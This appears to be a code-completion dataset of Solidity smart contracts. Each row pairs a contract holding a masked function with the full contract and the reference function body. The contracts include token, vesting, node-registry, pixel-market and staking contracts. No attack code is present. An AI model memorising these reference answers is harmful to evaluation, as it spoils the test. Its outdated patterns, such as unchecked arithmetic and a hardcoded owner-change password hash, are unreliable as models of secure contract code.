(uint48 userID, uint16 size) = old.batches(start);
require(size > 0 && userID > 0, "incorrect batch or limit reached");
if (old.cardProtos(start) != 0) {
address to = old.userIDToAddress(userID);
uint48 uID = _getUserID(to);
batches[start] = Batch({
userID: uID,
size: size
});
uint256 end = start.add(size);
for (uint256 i = start; i < end; i++) {
emit Transfer(address(0), to, i);
}
nextBatch = nextBatch.add(batchSize);
_balances[to] = _balances[to].add(size);
tokenCount = tokenCount.add(size);
}
nextBatch += batchSize;
}
function isOld(uint _tokenId) public view returns (bool) {
require(_exists(_tokenId), "card does not exist");
return cardProtos[_tokenId] == 0;
}
function getProto(uint _tokenId) public view returns (uint16) {
return isOld(_tokenId) ? old.cardProtos(_tokenId) : cardProtos[_tokenId];
}
function getQuality(uint _tokenId) public view returns (uint8) {
return isOld(_tokenId) ? old.cardQualities(_tokenId) : cardQualities[_tokenId];
}
function getDetails(uint256 tokenId) public view returns (uint16 proto, uint8 quality) {
return isOld(tokenId) ? old.getDetails(tokenId) : (cardProtos[tokenId], cardQualities[tokenId]);
}
function isTradable(uint256 _tokenId) public view returns (bool) {
uint16 proto = getProto(_tokenId);
if (proto >= MYTHIC_THRESHOLD) {
return mythicTradable[proto];
}
return seasonTradable[protoToSeason[proto]];
}
function _transferFrom(address from, address to, uint tokenId) internal {
require(
isTradable(tokenId),
"BW: not yet tradable"
);
super._transferFrom(from, to, tokenId);
}
<FILL_FUNCTION>
} |
uint16 maxProto = 0;
uint16 minProto = MAX_UINT16;
for (uint256 i = 0; i < _protos.length; i++) {
uint16 proto = _protos[i];
if (proto >= MYTHIC_THRESHOLD) {
_checkCanCreateMythic(proto);
} else {
require(proto != 0, "proto is zero");
if (proto > maxProto) {
maxProto = proto;
}
if (minProto > proto) {
minProto = proto;
}
}
}
if (maxProto != 0) {
uint256 season = protoToSeason[maxProto];
// cards must be from the same season
require(
season != 0,
"Core: must have season set"
);
require(
season == protoToSeason[minProto],
"Core: can only create cards from the same season"
);
require(
factoryApproved[msg.sender][season],
"Core: must be approved factory for this season"
);
}
| function _validateProtos(uint16[] memory _protos) internal | // update validate protos to check if a proto is 0
// prevent untradable cards
function _validateProtos(uint16[] memory _protos) internal |
87614 | Nodes | editNode | contract Nodes {
address public owner;
CommonLibrary.Data public vars;
mapping (address => string) public confirmationNodes;
uint confirmNodeId;
uint40 changePercentId;
uint40 pushNodeGroupId;
uint40 deleteNodeGroupId;
event NewNode(
uint256 id,
string nodeName,
uint8 producersPercent,
address producer,
uint date
);
event OwnerNotation(uint256 id, uint date, string newNotation);
event NewNodeGroup(uint16 id, string newNodeGroup);
event AddNodeAddress(uint id, uint nodeID, address nodeAdress);
event EditNode(
uint nodeID,
address nodeAdress,
address newProducer,
uint8 newProducersPercent,
bool starmidConfirmed
);
event ConfirmNode(uint id, uint nodeID);
event OutsourceConfirmNode(uint nodeID, address confirmationNode);
event ChangePercent(uint id, uint nodeId, uint producersPercent);
event PushNodeGroup(uint id, uint nodeId, uint newNodeGroup);
event DeleteNodeGroup(uint id, uint nodeId, uint deleteNodeGroup);
function Nodes() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
//-----------------------------------------------------Nodes---------------------------------------------------------------
function changeOwner(string _changeOwnerPassword, address _newOwnerAddress) onlyOwner returns(bool) {
//One-time tool for emergency owner change
if (keccak256(_changeOwnerPassword) == 0xe17a112b6fc12fc80c9b241de72da0d27ce7e244100f3c4e9358162a11bed629) {
owner = _newOwnerAddress;
return true;
}
else
return false;
}
function addOwnerNotations(string _newNotation) onlyOwner {
uint date = block.timestamp;
vars.ownerNotationId += 1;
OwnerNotation(vars.ownerNotationId, date, _newNotation);
}
function addConfirmationNode(string _newConfirmationNode) public returns(bool) {
confirmationNodes[msg.sender] = _newConfirmationNode;
return true;
}
function addNodeGroup(string _newNodeGroup) onlyOwner returns(uint16 _id) {
bool result;
(result, _id) = CommonLibrary.addNodeGroup(vars, _newNodeGroup);
require(result);
NewNodeGroup(_id, _newNodeGroup);
}
function addNode(string _newNode, uint8 _producersPercent) returns(bool) {
bool result;
uint _id;
(result, _id) = CommonLibrary.addNode(vars, _newNode, _producersPercent);
require(result);
NewNode(_id, _newNode, _producersPercent, msg.sender, block.timestamp);
return true;
}
function editNode(
uint _nodeID,
address _nodeAddress,
bool _isNewProducer,
address _newProducer,
uint8 _newProducersPercent,
bool _starmidConfirmed
) onlyOwner returns(bool) {<FILL_FUNCTION_BODY> }
function addNodeAddress(uint _nodeID, address _nodeAddress) public returns(bool) {
bool _result;
uint _id;
(_result, _id) = CommonLibrary.addNodeAddress(vars, _nodeID, _nodeAddress);
require(_result);
AddNodeAddress(_id, _nodeID, _nodeAddress);
return true;
}
function pushNodeGroup(uint _nodeID, uint16 _newNodeGroup) public returns(bool) {
require(msg.sender == vars.nodes[_nodeID].node);
vars.nodes[_nodeID].nodeGroup.push(_newNodeGroup);
pushNodeGroupId += 1;
PushNodeGroup(pushNodeGroupId, _nodeID, _newNodeGroup);
return true;
}
function deleteNodeGroup(uint _nodeID, uint16 _deleteNodeGroup) public returns(bool) {
require(msg.sender == vars.nodes[_nodeID].node);
for(uint16 i = 0; i < vars.nodes[_nodeID].nodeGroup.length; i++) {
if(_deleteNodeGroup == vars.nodes[_nodeID].nodeGroup[i]) {
for(uint16 ii = i; ii < vars.nodes[_nodeID].nodeGroup.length - 1; ii++)
vars.nodes[_nodeID].nodeGroup[ii] = vars.nodes[_nodeID].nodeGroup[ii + 1];
delete vars.nodes[_nodeID].nodeGroup[vars.nodes[_nodeID].nodeGroup.length - 1];
vars.nodes[_nodeID].nodeGroup.length--;
break;
}
}
deleteNodeGroupId += 1;
DeleteNodeGroup(deleteNodeGroupId, _nodeID, _deleteNodeGroup);
return true;
}
function confirmNode(uint _nodeID) onlyOwner returns(bool) {
vars.nodes[_nodeID].starmidConfirmed = true;
confirmNodeId += 1;
ConfirmNode(confirmNodeId, _nodeID);
return true;
}
function outsourceConfirmNode(uint _nodeID) public returns(bool) {
vars.nodes[_nodeID].outsourceConfirmed.push(msg.sender);
OutsourceConfirmNode(_nodeID, msg.sender);
return true;
}
function changePercent(uint _nodeId, uint8 _producersPercent) public returns(bool){
if(msg.sender == vars.nodes[_nodeId].producer && vars.nodes[_nodeId].node == 0x0000000000000000000000000000000000000000) {
vars.nodes[_nodeId].producersPercent = _producersPercent;
changePercentId += 1;
ChangePercent(changePercentId, _nodeId, _producersPercent);
return true;
}
}
function getNodeInfo(uint _nodeID) constant public returns(
address _producer,
address _node,
uint _date,
bool _starmidConfirmed,
string _nodeName,
address[] _outsourceConfirmed,
uint16[] _nodeGroup,
uint _producersPercent
) {
_producer = vars.nodes[_nodeID].producer;
_node = vars.nodes[_nodeID].node;
_date = vars.nodes[_nodeID].date;
_starmidConfirmed = vars.nodes[_nodeID].starmidConfirmed;
_nodeName = vars.nodes[_nodeID].nodeName;
_outsourceConfirmed = vars.nodes[_nodeID].outsourceConfirmed;
_nodeGroup = vars.nodes[_nodeID].nodeGroup;
_producersPercent = vars.nodes[_nodeID].producersPercent;
}
} | contract Nodes {
address public owner;
CommonLibrary.Data public vars;
mapping (address => string) public confirmationNodes;
uint confirmNodeId;
uint40 changePercentId;
uint40 pushNodeGroupId;
uint40 deleteNodeGroupId;
event NewNode(
uint256 id,
string nodeName,
uint8 producersPercent,
address producer,
uint date
);
event OwnerNotation(uint256 id, uint date, string newNotation);
event NewNodeGroup(uint16 id, string newNodeGroup);
event AddNodeAddress(uint id, uint nodeID, address nodeAdress);
event EditNode(
uint nodeID,
address nodeAdress,
address newProducer,
uint8 newProducersPercent,
bool starmidConfirmed
);
event ConfirmNode(uint id, uint nodeID);
event OutsourceConfirmNode(uint nodeID, address confirmationNode);
event ChangePercent(uint id, uint nodeId, uint producersPercent);
event PushNodeGroup(uint id, uint nodeId, uint newNodeGroup);
event DeleteNodeGroup(uint id, uint nodeId, uint deleteNodeGroup);
function Nodes() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
//-----------------------------------------------------Nodes---------------------------------------------------------------
function changeOwner(string _changeOwnerPassword, address _newOwnerAddress) onlyOwner returns(bool) {
//One-time tool for emergency owner change
if (keccak256(_changeOwnerPassword) == 0xe17a112b6fc12fc80c9b241de72da0d27ce7e244100f3c4e9358162a11bed629) {
owner = _newOwnerAddress;
return true;
}
else
return false;
}
function addOwnerNotations(string _newNotation) onlyOwner {
uint date = block.timestamp;
vars.ownerNotationId += 1;
OwnerNotation(vars.ownerNotationId, date, _newNotation);
}
function addConfirmationNode(string _newConfirmationNode) public returns(bool) {
confirmationNodes[msg.sender] = _newConfirmationNode;
return true;
}
function addNodeGroup(string _newNodeGroup) onlyOwner returns(uint16 _id) {
bool result;
(result, _id) = CommonLibrary.addNodeGroup(vars, _newNodeGroup);
require(result);
NewNodeGroup(_id, _newNodeGroup);
}
function addNode(string _newNode, uint8 _producersPercent) returns(bool) {
bool result;
uint _id;
(result, _id) = CommonLibrary.addNode(vars, _newNode, _producersPercent);
require(result);
NewNode(_id, _newNode, _producersPercent, msg.sender, block.timestamp);
return true;
}
<FILL_FUNCTION>
function addNodeAddress(uint _nodeID, address _nodeAddress) public returns(bool) {
bool _result;
uint _id;
(_result, _id) = CommonLibrary.addNodeAddress(vars, _nodeID, _nodeAddress);
require(_result);
AddNodeAddress(_id, _nodeID, _nodeAddress);
return true;
}
function pushNodeGroup(uint _nodeID, uint16 _newNodeGroup) public returns(bool) {
require(msg.sender == vars.nodes[_nodeID].node);
vars.nodes[_nodeID].nodeGroup.push(_newNodeGroup);
pushNodeGroupId += 1;
PushNodeGroup(pushNodeGroupId, _nodeID, _newNodeGroup);
return true;
}
function deleteNodeGroup(uint _nodeID, uint16 _deleteNodeGroup) public returns(bool) {
require(msg.sender == vars.nodes[_nodeID].node);
for(uint16 i = 0; i < vars.nodes[_nodeID].nodeGroup.length; i++) {
if(_deleteNodeGroup == vars.nodes[_nodeID].nodeGroup[i]) {
for(uint16 ii = i; ii < vars.nodes[_nodeID].nodeGroup.length - 1; ii++)
vars.nodes[_nodeID].nodeGroup[ii] = vars.nodes[_nodeID].nodeGroup[ii + 1];
delete vars.nodes[_nodeID].nodeGroup[vars.nodes[_nodeID].nodeGroup.length - 1];
vars.nodes[_nodeID].nodeGroup.length--;
break;
}
}
deleteNodeGroupId += 1;
DeleteNodeGroup(deleteNodeGroupId, _nodeID, _deleteNodeGroup);
return true;
}
function confirmNode(uint _nodeID) onlyOwner returns(bool) {
vars.nodes[_nodeID].starmidConfirmed = true;
confirmNodeId += 1;
ConfirmNode(confirmNodeId, _nodeID);
return true;
}
function outsourceConfirmNode(uint _nodeID) public returns(bool) {
vars.nodes[_nodeID].outsourceConfirmed.push(msg.sender);
OutsourceConfirmNode(_nodeID, msg.sender);
return true;
}
function changePercent(uint _nodeId, uint8 _producersPercent) public returns(bool){
if(msg.sender == vars.nodes[_nodeId].producer && vars.nodes[_nodeId].node == 0x0000000000000000000000000000000000000000) {
vars.nodes[_nodeId].producersPercent = _producersPercent;
changePercentId += 1;
ChangePercent(changePercentId, _nodeId, _producersPercent);
return true;
}
}
function getNodeInfo(uint _nodeID) constant public returns(
address _producer,
address _node,
uint _date,
bool _starmidConfirmed,
string _nodeName,
address[] _outsourceConfirmed,
uint16[] _nodeGroup,
uint _producersPercent
) {
_producer = vars.nodes[_nodeID].producer;
_node = vars.nodes[_nodeID].node;
_date = vars.nodes[_nodeID].date;
_starmidConfirmed = vars.nodes[_nodeID].starmidConfirmed;
_nodeName = vars.nodes[_nodeID].nodeName;
_outsourceConfirmed = vars.nodes[_nodeID].outsourceConfirmed;
_nodeGroup = vars.nodes[_nodeID].nodeGroup;
_producersPercent = vars.nodes[_nodeID].producersPercent;
}
} |
bool x = CommonLibrary.editNode(vars, _nodeID, _nodeAddress,_isNewProducer, _newProducer, _newProducersPercent, _starmidConfirmed);
require(x);
EditNode(_nodeID, _nodeAddress, _newProducer, _newProducersPercent, _starmidConfirmed);
return true;
| function editNode(
uint _nodeID,
address _nodeAddress,
bool _isNewProducer,
address _newProducer,
uint8 _newProducersPercent,
bool _starmidConfirmed
) onlyOwner returns(bool) | function editNode(
uint _nodeID,
address _nodeAddress,
bool _isNewProducer,
address _newProducer,
uint8 _newProducersPercent,
bool _starmidConfirmed
) onlyOwner returns(bool) |
26676 | Vesting | withdrawAll | contract Vesting is Ownable {
address public token;
uint public constant FIRST_UNLOCK = 1531612800; // 15 July 2018 00:00 GMT
uint public constant TOTAL_TOKENS = 100000000 * (uint(10) ** 18); // 100 000 000 DGTX tokens
bool public tokenReceived = true;
event Withdraw(address _to, uint _value);
/**
* @param _token token that will be received by vesting
*/
function Vesting(address _token) public Ownable() {
token = _token;
}
/**
* @dev withdraw less or equals than available tokens. Throws if there are not enough tokens available.
* @param _amount amount of tokens to withdraw.
*/
function withdraw(uint _amount) public onlyOwner {
uint availableTokens = ERC20(token).balanceOf(this) - lockedAmount();
require(_amount <= availableTokens);
ERC20(token).transfer(msg.sender, _amount);
Withdraw(msg.sender, _amount);
}
/**
* @dev withdraw all available tokens.
*/
function withdrawAll() public onlyOwner {<FILL_FUNCTION_BODY> }
/**
* @dev Internal function that tells how many tokens are locked at the moment.
* @return {
* "lockedTokens": "amount of locked tokens"
* }
*/
function lockedAmount() internal view returns (uint) {
if (now < FIRST_UNLOCK) {
return TOTAL_TOKENS;
}
uint quarters = (now - FIRST_UNLOCK) / 0.25 years; // quarters past
uint effectiveQuarters = quarters <= 12 ? quarters : 12; // all tokens unlocked in 3 years after FIRST_UNLOCK
uint locked = TOTAL_TOKENS * (7500 - effectiveQuarters * 625) / 10000; // unlocks 25% plus 6.25% per quarter
return locked;
}
} | contract Vesting is Ownable {
address public token;
uint public constant FIRST_UNLOCK = 1531612800; // 15 July 2018 00:00 GMT
uint public constant TOTAL_TOKENS = 100000000 * (uint(10) ** 18); // 100 000 000 DGTX tokens
bool public tokenReceived = true;
event Withdraw(address _to, uint _value);
/**
* @param _token token that will be received by vesting
*/
function Vesting(address _token) public Ownable() {
token = _token;
}
/**
* @dev withdraw less or equals than available tokens. Throws if there are not enough tokens available.
* @param _amount amount of tokens to withdraw.
*/
function withdraw(uint _amount) public onlyOwner {
uint availableTokens = ERC20(token).balanceOf(this) - lockedAmount();
require(_amount <= availableTokens);
ERC20(token).transfer(msg.sender, _amount);
Withdraw(msg.sender, _amount);
}
<FILL_FUNCTION>
/**
* @dev Internal function that tells how many tokens are locked at the moment.
* @return {
* "lockedTokens": "amount of locked tokens"
* }
*/
function lockedAmount() internal view returns (uint) {
if (now < FIRST_UNLOCK) {
return TOTAL_TOKENS;
}
uint quarters = (now - FIRST_UNLOCK) / 0.25 years; // quarters past
uint effectiveQuarters = quarters <= 12 ? quarters : 12; // all tokens unlocked in 3 years after FIRST_UNLOCK
uint locked = TOTAL_TOKENS * (7500 - effectiveQuarters * 625) / 10000; // unlocks 25% plus 6.25% per quarter
return locked;
}
} |
uint availableTokens = ERC20(token).balanceOf(this) - lockedAmount();
ERC20(token).transfer(msg.sender, availableTokens);
Withdraw(msg.sender, availableTokens);
| function withdrawAll() public onlyOwner | /**
* @dev withdraw all available tokens.
*/
function withdrawAll() public onlyOwner |
83313 | ERGCOIN | transferFrom | contract ERGCOIN is ERC20 {
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 800000000 * 10**18;
function name() public constant returns (string) { return "ERGCOIN"; }
function symbol() public constant returns (string) { return "ERG"; }
function decimals() public constant returns (uint8) { return 18; }
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DistrFinished();
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
function ERGCOIN() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function distributeERG(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public {
for (uint i = 0; i < addresses.length; i++) {
if (getEthBalance(addresses[i]) < _ethbal) {
continue;
}
balances[owner] -= _value;
balances[addresses[i]] += _value;
Transfer(owner, addresses[i], _value);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {<FILL_FUNCTION_BODY> }
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function finishDistribution() onlyOwner public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | contract ERGCOIN is ERC20 {
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 800000000 * 10**18;
function name() public constant returns (string) { return "ERGCOIN"; }
function symbol() public constant returns (string) { return "ERG"; }
function decimals() public constant returns (uint8) { return 18; }
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DistrFinished();
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
function ERGCOIN() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function distributeERG(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public {
for (uint i = 0; i < addresses.length; i++) {
if (getEthBalance(addresses[i]) < _ethbal) {
continue;
}
balances[owner] -= _value;
balances[addresses[i]] += _value;
Transfer(owner, addresses[i], _value);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
<FILL_FUNCTION>
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function finishDistribution() onlyOwner public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} |
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
| function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) | function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) |
77324 | BLBlocks | createBlock | contract BLBlocks is BLBalances {
event CreatedBlock(
uint x,
uint y,
uint price,
address indexed owner,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL);
event SetBlockForSale(
uint x,
uint y,
uint price,
address indexed owner);
event UnsetBlockForSale(
uint x,
uint y,
address indexed owner);
event BoughtBlock(
uint x,
uint y,
uint price,
address indexed owner,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL);
event SoldBlock(
uint x,
uint y,
uint oldPrice,
uint newPrice,
uint feePercentage,
address indexed owner);
event UpdatedBlock(uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL,
address indexed owner);
// Create a block if it doesn't exist
function createBlock(
uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL
) public payable {<FILL_FUNCTION_BODY> }
// Get details for a block
function getBlock (uint x, uint y) public view returns (
uint price,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL,
uint forSale,
uint pricePerDay,
address owner
) {
bytes32 key = getKey(x, y);
price = s.getUInt(keccak256(key, "price"));
name = s.getBytes32(keccak256(key, "name"));
description = s.getBytes32(keccak256(key, "description"));
url = s.getBytes32(keccak256(key, "url"));
imageURL = s.getBytes32(keccak256(key, "imageURL"));
forSale = s.getUInt(keccak256(key, "forSale"));
pricePerDay = s.getUInt(keccak256(key, "pricePerDay"));
owner = s.getAdd(keccak256(key, "owner"));
}
// Sets a block up for sale
function sellBlock(uint x, uint y, uint price) public {
bytes32 key = getKey(x, y);
uint basePrice = s.getUInt(keccak256(key, "price"));
require(s.getAdd(keccak256(key, "owner")) == msg.sender);
require(price < basePrice * 2);
s.setUInt(keccak256(key, "forSale"), price);
SetBlockForSale(x, y, price, msg.sender);
}
// Sets a block not for sale
function cancelSellBlock(uint x, uint y) public {
bytes32 key = getKey(x, y);
require(s.getAdd(keccak256(key, "owner")) == msg.sender);
s.setUInt(keccak256(key, "forSale"), 0);
UnsetBlockForSale(x, y, msg.sender);
}
// transfers ownership of an existing block
function buyBlock(
uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL
) public payable {
bytes32 key = getKey(x, y);
uint price = s.getUInt(keccak256(key, "price"));
uint forSale = s.getUInt(keccak256(key, "forSale"));
address owner = s.getAdd(keccak256(key, "owner"));
require(owner != address(0));
require((forSale > 0 && msg.value >= forSale) || msg.value >= price * 2);
uint feePercentage = s.getUInt("buyOutFeePercentage");
rewardParties(x, y, feePercentage);
s.setUInt(keccak256(key, "price"), msg.value);
s.setBytes32(keccak256(key, "name"), name);
s.setBytes32(keccak256(key, "description"), description);
s.setBytes32(keccak256(key, "url"), url);
s.setBytes32(keccak256(key, "imageURL"), imageURL);
s.setAdd(keccak256(key, "owner"), msg.sender);
s.setUInt(keccak256(key, "forSale"), 0);
s.setUInt(keccak256(key, "pricePerDay"), 0);
giveBonusIfExists(x, y);
storageAddress.transfer(msg.value);
BoughtBlock(x, y, msg.value, msg.sender,
name, description, url, imageURL);
SoldBlock(x, y, price, msg.value, feePercentage, owner);
}
// update details for an existing block
function updateBlock(
uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL
) public {
bytes32 key = getKey(x, y);
address owner = s.getAdd(keccak256(key, "owner"));
require(msg.sender == owner);
s.setBytes32(keccak256(key, "name"), name);
s.setBytes32(keccak256(key, "description"), description);
s.setBytes32(keccak256(key, "url"), url);
s.setBytes32(keccak256(key, "imageURL"), imageURL);
UpdatedBlock(x, y, name, description, url, imageURL, msg.sender);
}
// Add a bonus to a block. That bonus will be awarded to the next buyer.
// Note, we are not emitting an event to avoid cheating.
function addBonusToBlock(
uint x,
uint y,
uint bonus
) public onlyPrimary {
bytes32 key = getKey(x, y);
uint bonusBalance = s.getUInt(keccak256(bonusAddress, "balance"));
require(bonusBalance >= bonus);
s.setUInt(keccak256(key, "bonus"), bonus);
}
} | contract BLBlocks is BLBalances {
event CreatedBlock(
uint x,
uint y,
uint price,
address indexed owner,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL);
event SetBlockForSale(
uint x,
uint y,
uint price,
address indexed owner);
event UnsetBlockForSale(
uint x,
uint y,
address indexed owner);
event BoughtBlock(
uint x,
uint y,
uint price,
address indexed owner,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL);
event SoldBlock(
uint x,
uint y,
uint oldPrice,
uint newPrice,
uint feePercentage,
address indexed owner);
event UpdatedBlock(uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL,
address indexed owner);
<FILL_FUNCTION>
// Get details for a block
function getBlock (uint x, uint y) public view returns (
uint price,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL,
uint forSale,
uint pricePerDay,
address owner
) {
bytes32 key = getKey(x, y);
price = s.getUInt(keccak256(key, "price"));
name = s.getBytes32(keccak256(key, "name"));
description = s.getBytes32(keccak256(key, "description"));
url = s.getBytes32(keccak256(key, "url"));
imageURL = s.getBytes32(keccak256(key, "imageURL"));
forSale = s.getUInt(keccak256(key, "forSale"));
pricePerDay = s.getUInt(keccak256(key, "pricePerDay"));
owner = s.getAdd(keccak256(key, "owner"));
}
// Sets a block up for sale
function sellBlock(uint x, uint y, uint price) public {
bytes32 key = getKey(x, y);
uint basePrice = s.getUInt(keccak256(key, "price"));
require(s.getAdd(keccak256(key, "owner")) == msg.sender);
require(price < basePrice * 2);
s.setUInt(keccak256(key, "forSale"), price);
SetBlockForSale(x, y, price, msg.sender);
}
// Sets a block not for sale
function cancelSellBlock(uint x, uint y) public {
bytes32 key = getKey(x, y);
require(s.getAdd(keccak256(key, "owner")) == msg.sender);
s.setUInt(keccak256(key, "forSale"), 0);
UnsetBlockForSale(x, y, msg.sender);
}
// transfers ownership of an existing block
function buyBlock(
uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL
) public payable {
bytes32 key = getKey(x, y);
uint price = s.getUInt(keccak256(key, "price"));
uint forSale = s.getUInt(keccak256(key, "forSale"));
address owner = s.getAdd(keccak256(key, "owner"));
require(owner != address(0));
require((forSale > 0 && msg.value >= forSale) || msg.value >= price * 2);
uint feePercentage = s.getUInt("buyOutFeePercentage");
rewardParties(x, y, feePercentage);
s.setUInt(keccak256(key, "price"), msg.value);
s.setBytes32(keccak256(key, "name"), name);
s.setBytes32(keccak256(key, "description"), description);
s.setBytes32(keccak256(key, "url"), url);
s.setBytes32(keccak256(key, "imageURL"), imageURL);
s.setAdd(keccak256(key, "owner"), msg.sender);
s.setUInt(keccak256(key, "forSale"), 0);
s.setUInt(keccak256(key, "pricePerDay"), 0);
giveBonusIfExists(x, y);
storageAddress.transfer(msg.value);
BoughtBlock(x, y, msg.value, msg.sender,
name, description, url, imageURL);
SoldBlock(x, y, price, msg.value, feePercentage, owner);
}
// update details for an existing block
function updateBlock(
uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL
) public {
bytes32 key = getKey(x, y);
address owner = s.getAdd(keccak256(key, "owner"));
require(msg.sender == owner);
s.setBytes32(keccak256(key, "name"), name);
s.setBytes32(keccak256(key, "description"), description);
s.setBytes32(keccak256(key, "url"), url);
s.setBytes32(keccak256(key, "imageURL"), imageURL);
UpdatedBlock(x, y, name, description, url, imageURL, msg.sender);
}
// Add a bonus to a block. That bonus will be awarded to the next buyer.
// Note, we are not emitting an event to avoid cheating.
function addBonusToBlock(
uint x,
uint y,
uint bonus
) public onlyPrimary {
bytes32 key = getKey(x, y);
uint bonusBalance = s.getUInt(keccak256(bonusAddress, "balance"));
require(bonusBalance >= bonus);
s.setUInt(keccak256(key, "bonus"), bonus);
}
} |
bytes32 key = getKey(x, y);
uint initialPrice = s.getUInt("initialPrice");
address owner = s.getAdd(keccak256(key, "owner"));
uint allowance = s.getUInt(keccak256(msg.sender, "promoAllowance"));
require(msg.value >= initialPrice || allowance > 0);
require(owner == address(0));
uint feePercentage = s.getUInt("buyOutFeePercentage");
if (msg.value >= initialPrice) {
rewardParties(x, y, feePercentage);
s.setUInt(keccak256(key, "price"), msg.value);
} else {
allowance--;
s.setUInt(keccak256(msg.sender, "promoAllowance"), allowance);
s.setUInt(keccak256(key, "price"), initialPrice);
}
s.setBytes32(keccak256(key, "name"), name);
s.setBytes32(keccak256(key, "description"), description);
s.setBytes32(keccak256(key, "url"), url);
s.setBytes32(keccak256(key, "imageURL"), imageURL);
s.setAdd(keccak256(key, "owner"), msg.sender);
uint blockCount = s.getUInt("blockCount");
giveBonusIfExists(x, y);
blockCount++;
s.setUInt("blockCount", blockCount);
storageAddress.transfer(msg.value);
CreatedBlock(x,
y,
msg.value,
msg.sender,
name,
description,
url,
imageURL);
| function createBlock(
uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL
) public payable | // Create a block if it doesn't exist
function createBlock(
uint x,
uint y,
bytes32 name,
bytes32 description,
bytes32 url,
bytes32 imageURL
) public payable |
59449 | BalLpRewards | notifyRewardAmount | contract BalLpRewards is RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 30 days;
uint256 public lastUpdateTime;
